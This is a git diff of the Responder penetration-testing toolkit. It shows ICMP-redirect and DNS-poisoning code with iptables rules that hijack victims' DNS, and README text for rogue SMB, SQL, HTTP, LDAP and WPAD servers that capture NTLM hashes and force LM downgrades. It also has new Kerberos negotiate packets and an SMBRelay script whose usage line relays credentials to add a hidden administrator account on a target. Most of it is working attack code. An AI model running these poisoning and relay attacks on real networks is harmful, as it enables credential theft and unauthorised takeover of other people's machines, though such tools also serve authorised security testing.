self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||||
@@ -212,15 +212,15 @@ def ReceiveArpFrame(DstAddr):
|
|||||||
Arp.calculate()
|
Arp.calculate()
|
||||||
final = str(Eth)+str(Arp)
|
final = str(Eth)+str(Arp)
|
||||||
try:
|
try:
|
||||||
s.send(final)
|
s.send(final)
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
DstMac = data[22:28]
|
DstMac = data[22:28]
|
||||||
DestMac = DstMac.encode('hex')
|
DestMac = DstMac.encode('hex')
|
||||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||||
return PrintMac,DstMac
|
return PrintMac,DstMac
|
||||||
except:
|
except:
|
||||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
def IcmpRedirectSock(DestinationIP):
|
def IcmpRedirectSock(DestinationIP):
|
||||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||||
@@ -235,7 +235,7 @@ def IcmpRedirectSock(DestinationIP):
|
|||||||
IPPackUDP.calculate()
|
IPPackUDP.calculate()
|
||||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||||
ICMPPack.calculate()
|
ICMPPack.calculate()
|
||||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||||
IPPack.calculate()
|
IPPack.calculate()
|
||||||
final = str(Eth)+str(IPPack)
|
final = str(Eth)+str(IPPack)
|
||||||
s.send(final)
|
s.send(final)
|
||||||
@@ -243,12 +243,12 @@ def IcmpRedirectSock(DestinationIP):
|
|||||||
|
|
||||||
def FindWhatToDo(ToThisHost2):
|
def FindWhatToDo(ToThisHost2):
|
||||||
if ToThisHost2 != None:
|
if ToThisHost2 != None:
|
||||||
Show_Help('Hit CRTL-C to kill this script')
|
Show_Help('Hit CRTL-C to kill this script')
|
||||||
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
|
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
|
||||||
if ToThisHost2 == None:
|
if ToThisHost2 == None:
|
||||||
Show_Help(MoreHelp)
|
Show_Help(MoreHelp)
|
||||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||||
exit()
|
exit()
|
||||||
|
|
||||||
def RunThisInLoop(host, host2, ip):
|
def RunThisInLoop(host, host2, ip):
|
||||||
dns1 = pipes.quote(host)
|
dns1 = pipes.quote(host)
|
||||||
@@ -258,10 +258,9 @@ def RunThisInLoop(host, host2, ip):
|
|||||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||||
while True:
|
while True:
|
||||||
IcmpRedirectSock(DestinationIP=dns1)
|
IcmpRedirectSock(DestinationIP=dns1)
|
||||||
IcmpRedirectSock(DestinationIP=dns2)
|
IcmpRedirectSock(DestinationIP=dns2)
|
||||||
print "[+]Repoisoning the target in 8 minutes..."
|
print "[+]Repoisoning the target in 8 minutes..."
|
||||||
sleep(480)
|
sleep(480)
|
||||||
|
|
||||||
FindWhatToDo(ToThisHost2)
|
FindWhatToDo(ToThisHost2)
|
||||||
|
|
||||||
|
|||||||
78
README.md
78
README.md
@@ -11,7 +11,7 @@ suffix (see: http://support.microsoft.com/kb/163409). By default, the
|
|||||||
tool will only answers to File Server Service request, which is for SMB.
|
tool will only answers to File Server Service request, which is for SMB.
|
||||||
The concept behind this, is to target our answers, and be stealthier on
|
The concept behind this, is to target our answers, and be stealthier on
|
||||||
the network. This also helps to ensure that we don't break legitimate
|
the network. This also helps to ensure that we don't break legitimate
|
||||||
NBT-NS behavior. You can set the -r option to "On" via command line if
|
NBT-NS behavior. You can set the -r option via command line if
|
||||||
you want this tool to answer to the Workstation Service request name
|
you want this tool to answer to the Workstation Service request name
|
||||||
suffix.
|
suffix.
|
||||||
|
|
||||||
@@ -22,12 +22,12 @@ FEATURES
|
|||||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
|
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
|
||||||
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
|
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
|
||||||
Clear text password is supported for NT4, and LM hashing downgrade when the
|
Clear text password is supported for NT4, and LM hashing downgrade when the
|
||||||
--lm option is set to On. This functionality is enabled by default when the
|
--lm option is set. This functionality is enabled by default when the
|
||||||
tool is launched.
|
tool is launched.
|
||||||
|
|
||||||
- Built-in MSSQL Auth server.
|
- Built-in MSSQL Auth server.
|
||||||
In order to redirect SQL Authentication to this tool, you will need to
|
In order to redirect SQL Authentication to this tool, you will need to
|
||||||
set the option -r to On(NBT-NS queries for SQL Server lookup are using
|
set the option -r (NBT-NS queries for SQL Server lookup are using
|
||||||
the Workstation Service name suffix) for systems older than windows
|
the Workstation Service name suffix) for systems older than windows
|
||||||
Vista (LLMNR will be used for Vista and higher). This server supports
|
Vista (LLMNR will be used for Vista and higher). This server supports
|
||||||
NTLMv1, LMv2 hashes. This functionality was successfully tested on
|
NTLMv1, LMv2 hashes. This functionality was successfully tested on
|
||||||
@@ -35,7 +35,7 @@ FEATURES
|
|||||||
|
|
||||||
- Built-in HTTP Auth server.
|
- Built-in HTTP Auth server.
|
||||||
In order to redirect HTTP Authentication to this tool, you will need
|
In order to redirect HTTP Authentication to this tool, you will need
|
||||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
to set the option -r for Windows version older than Vista (NBT-NS
|
||||||
queries for HTTP server lookup are sent using the Workstation Service
|
queries for HTTP server lookup are sent using the Workstation Service
|
||||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||||
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
|
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
|
||||||
@@ -45,7 +45,7 @@ FEATURES
|
|||||||
|
|
||||||
- Built-in HTTPS Auth server.
|
- Built-in HTTPS Auth server.
|
||||||
In order to redirect HTTPS Authentication to this tool, you will need
|
In order to redirect HTTPS Authentication to this tool, you will need
|
||||||
to set the -r option to On for Windows versions older than Vista (NBT-NS
|
to set the -r option for Windows versions older than Vista (NBT-NS
|
||||||
queries for HTTP server lookups are sent using the Workstation Service
|
queries for HTTP server lookups are sent using the Workstation Service
|
||||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||||
supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
|
supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
|
||||||
@@ -57,7 +57,7 @@ FEATURES
|
|||||||
|
|
||||||
- Built-in LDAP Auth server.
|
- Built-in LDAP Auth server.
|
||||||
In order to redirect LDAP Authentication to this tool, you will need
|
In order to redirect LDAP Authentication to this tool, you will need
|
||||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
to set the option -r for Windows version older than Vista (NBT-NS
|
||||||
queries for HTTP server lookup are sent using the Workstation Service
|
queries for HTTP server lookup are sent using the Workstation Service
|
||||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||||
supports NTLMSSP hashes and Simple Authentication (clear text authentication).
|
supports NTLMSSP hashes and Simple Authentication (clear text authentication).
|
||||||
@@ -118,52 +118,60 @@ USAGE
|
|||||||
First of all, please take a look at Responder.conf and set it for your needs.
|
First of all, please take a look at Responder.conf and set it for your needs.
|
||||||
Running this tool:
|
Running this tool:
|
||||||
|
|
||||||
- python Responder.py [options]
|
- ./Responder.py [options]
|
||||||
|
|
||||||
Usage Example:
|
Usage Example:
|
||||||
|
|
||||||
python Responder.py -i 10.20.30.40 -r On -F On -w On
|
./Responder.py -i 10.20.30.40 -w -r -f
|
||||||
|
|
||||||
|
or:
|
||||||
|
|
||||||
|
python Responder.py -i 10.20.30.40 -wrf
|
||||||
|
|
||||||
Options List:
|
Options List:
|
||||||
|
|
||||||
-h, --help show this help message and exit.
|
-h, --help show this help message and exit
|
||||||
|
|
||||||
-i 10.20.30.40, --ip=10.20.30.40 The ip address to redirect the traffic to.
|
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||||
(usually yours)
|
BROWSER, LLMNR requests from which workstation to
|
||||||
|
which workstation without poisoning anything.
|
||||||
|
|
||||||
-I eth0, --interface=eth0 Network interface to use
|
-i 10.20.30.40, --ip=10.20.30.40
|
||||||
|
The ip address to redirect the traffic to. (usually
|
||||||
|
yours)
|
||||||
|
|
||||||
-b Off, --basic=Off Set this to On if you want to return a
|
-I eth0, --interface=eth0 Network interface to use
|
||||||
Basic HTTP authentication. Off will return
|
|
||||||
an NTLM authentication.
|
|
||||||
|
|
||||||
-r Off, --wredir=Off Set this to On to enable answers for netbios
|
-b, --basic Set this if you want to return a Basic HTTP
|
||||||
wredir suffix queries. Answering to wredir
|
authentication. If not set, an NTLM authentication
|
||||||
will likely break stuff on the network
|
will be returned.
|
||||||
(like classics 'nbns spoofer' will).
|
|
||||||
Default value is therefore set to Off.
|
|
||||||
|
|
||||||
-f Off, --fingerprint=Off This option allows you to fingerprint a
|
-r, --wredir Set this to enable answers for netbios wredir suffix
|
||||||
host that issued an NBT-NS or LLMNR query.
|
queries. Answering to wredir will likely break stuff
|
||||||
|
on the network (like classics 'nbns spoofer' would).
|
||||||
|
Default value is therefore set to False
|
||||||
|
|
||||||
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue
|
-d, --NBTNSdomain Set this to enable answers for netbios domain suffix
|
||||||
proxy server. Default value is Off
|
queries. Answering to domain suffixes will likely
|
||||||
|
break stuff on the network (like a classic 'nbns
|
||||||
|
spoofer' would). Default value is therefore set to
|
||||||
|
False
|
||||||
|
|
||||||
--lm=Off Set this to On if you want to force LM hashing
|
-f, --fingerprint This option allows you to fingerprint a host that
|
||||||
downgrade for Windows XP/2003 and earlier. Default value is Off
|
issued an NBT-NS or LLMNR query.
|
||||||
|
|
||||||
-F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on
|
-w, --wpad Set this to start the WPAD rogue proxy server. Default
|
||||||
wpad.dat file retrieval. This might cause a login prompt in
|
value is False
|
||||||
some specific cases. Default value is Off
|
|
||||||
|
|
||||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,BROWSER,
|
-F, --ForceWpadAuth Set this if you want to force NTLM/Basic
|
||||||
LLMNR requests from which workstation to which workstation
|
authentication on wpad.dat file retrieval. This might
|
||||||
without poisoning any requests. Also, you can map domains,
|
cause a login prompt in some specific cases.
|
||||||
MSSQL servers, workstations passively.
|
Therefore, default value is False
|
||||||
|
|
||||||
|
--lm Set this if you want to force LM hashing downgrade for
|
||||||
|
Windows XP/2003 and earlier. Default value is False
|
||||||
|
|
||||||
-v More verbose
|
-v More verbose
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
For more information read these posts:
|
For more information read these posts:
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
;Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
;Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||||
SQL = On
|
SQL = On
|
||||||
SMB = On
|
SMB = On
|
||||||
|
Kerberos = On
|
||||||
FTP = On
|
FTP = On
|
||||||
POP = On
|
POP = On
|
||||||
;;Listen on 25/TCP, 587/TCP
|
;;Listen on 25/TCP, 587/TCP
|
||||||
@@ -19,9 +20,12 @@ Challenge = 1122334455667788
|
|||||||
;Set this to change the default logging file
|
;Set this to change the default logging file
|
||||||
SessionLog = Responder-Session.log
|
SessionLog = Responder-Session.log
|
||||||
;
|
;
|
||||||
;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
RespondTo =
|
RespondTo =
|
||||||
|
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||||
|
;RespondTo = WPAD,DEV,PROD,SQLINT
|
||||||
|
RespondToName =
|
||||||
;
|
;
|
||||||
[HTTP Server]
|
[HTTP Server]
|
||||||
;;
|
;;
|
||||||
|
|||||||
2868
Responder.py
Executable file → Normal file
2868
Responder.py
Executable file → Normal file
File diff suppressed because it is too large
Load Diff
@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
|
|||||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#SMB Negotiate Answer LM packet.
|
#SMB Negotiate Answer ESS NTLM only packet.
|
||||||
class SMBNegoAns(Packet):
|
class SMBNegoAns(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x11"),
|
("Wordcount", "\x11"),
|
||||||
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
|
|||||||
("NegHintFinalASNId", "\x1b"),
|
("NegHintFinalASNId", "\x1b"),
|
||||||
("NegHintFinalASNLen", "\x15"),
|
("NegHintFinalASNLen", "\x15"),
|
||||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||||
## END
|
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
|
|||||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
|
||||||
################################################################################
|
################################################################################
|
||||||
|
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
|
||||||
|
class SMBNegoKerbAns(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x11"),
|
||||||
|
("Dialect", ""),
|
||||||
|
("Securitymode", "\x03"),
|
||||||
|
("MaxMpx", "\x32\x00"),
|
||||||
|
("MaxVc", "\x01\x00"),
|
||||||
|
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||||
|
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||||
|
("SessionKey", "\x00\x00\x00\x00"),
|
||||||
|
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||||
|
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||||
|
("SrvTimeZone", "\xf0\x00"),
|
||||||
|
("KeyLen", "\x00"),
|
||||||
|
("Bcc", "\x57\x00"),
|
||||||
|
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||||
|
("InitContextTokenASNId", "\x60"),
|
||||||
|
("InitContextTokenASNLen", "\x5b"),
|
||||||
|
("ThisMechASNId", "\x06"),
|
||||||
|
("ThisMechASNLen", "\x06"),
|
||||||
|
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||||
|
("SpNegoTokenASNId", "\xA0"),
|
||||||
|
("SpNegoTokenASNLen", "\x51"),
|
||||||
|
("NegTokenASNId", "\x30"),
|
||||||
|
("NegTokenASNLen", "\x4f"),
|
||||||
|
("NegTokenTag0ASNId", "\xA0"),
|
||||||
|
("NegTokenTag0ASNLen", "\x30"),
|
||||||
|
("NegThisMechASNId", "\x30"),
|
||||||
|
("NegThisMechASNLen", "\x2e"),
|
||||||
|
("NegThisMech1ASNId", "\x06"),
|
||||||
|
("NegThisMech1ASNLen", "\x09"),
|
||||||
|
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||||
|
("NegThisMech2ASNId", "\x06"),
|
||||||
|
("NegThisMech2ASNLen", "\x09"),
|
||||||
|
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||||
|
("NegThisMech3ASNId", "\x06"),
|
||||||
|
("NegThisMech3ASNLen", "\x0a"),
|
||||||
|
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||||
|
("NegThisMech4ASNId", "\x06"),
|
||||||
|
("NegThisMech4ASNLen", "\x09"),
|
||||||
|
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||||
|
("NegTokenTag3ASNId", "\xA3"),
|
||||||
|
("NegTokenTag3ASNLen", "\x1b"),
|
||||||
|
("NegHintASNId", "\x30"),
|
||||||
|
("NegHintASNLen", "\x19"),
|
||||||
|
("NegHintTag0ASNId", "\xa0"),
|
||||||
|
("NegHintTag0ASNLen", "\x17"),
|
||||||
|
("NegHintFinalASNId", "\x1b"),
|
||||||
|
("NegHintFinalASNLen", "\x15"),
|
||||||
|
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||||
|
|
||||||
|
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||||
|
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||||
|
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||||
|
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||||
|
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||||
|
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||||
|
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||||
|
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||||
|
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||||
|
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||||
|
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||||
|
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||||
|
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||||
|
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
################################################################################
|
||||||
class SMBSession1Data(Packet):
|
class SMBSession1Data(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x04"),
|
("Wordcount", "\x04"),
|
||||||
|
|||||||
553
SMBRelay.py
553
SMBRelay.py
@@ -11,7 +11,7 @@
|
|||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
# GNU General Public License for more details.
|
# GNU General Public License for more details.
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||||
@@ -21,13 +21,13 @@ from socket import *
|
|||||||
from RelayPackets import *
|
from RelayPackets import *
|
||||||
|
|
||||||
def UserCallBack(op, value, dmy, parser):
|
def UserCallBack(op, value, dmy, parser):
|
||||||
args=[]
|
args=[]
|
||||||
for arg in parser.rargs:
|
for arg in parser.rargs:
|
||||||
if arg[0] != "-":
|
if arg[0] != "-":
|
||||||
args.append(arg)
|
args.append(arg)
|
||||||
if getattr(parser.values, op.dest):
|
if getattr(parser.values, op.dest):
|
||||||
args.extend(getattr(parser.values, op.dest))
|
args.extend(getattr(parser.values, op.dest))
|
||||||
setattr(parser.values, op.dest, args)
|
setattr(parser.values, op.dest, args)
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
|
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
|
||||||
prog=sys.argv[0],
|
prog=sys.argv[0],
|
||||||
@@ -45,19 +45,19 @@ parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBac
|
|||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if options.CMD is None:
|
if options.CMD is None:
|
||||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.TARGET is None:
|
if options.TARGET is None:
|
||||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.UserToRelay is None:
|
if options.UserToRelay is None:
|
||||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
ResponderPATH = os.path.dirname(__file__)
|
ResponderPATH = os.path.dirname(__file__)
|
||||||
# Set some vars.
|
# Set some vars.
|
||||||
@@ -69,7 +69,7 @@ OURIP = options.OURIP
|
|||||||
|
|
||||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
||||||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -93,76 +93,76 @@ Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=lo
|
|||||||
#Function used to verify if a previous auth attempt was made.
|
#Function used to verify if a previous auth attempt was made.
|
||||||
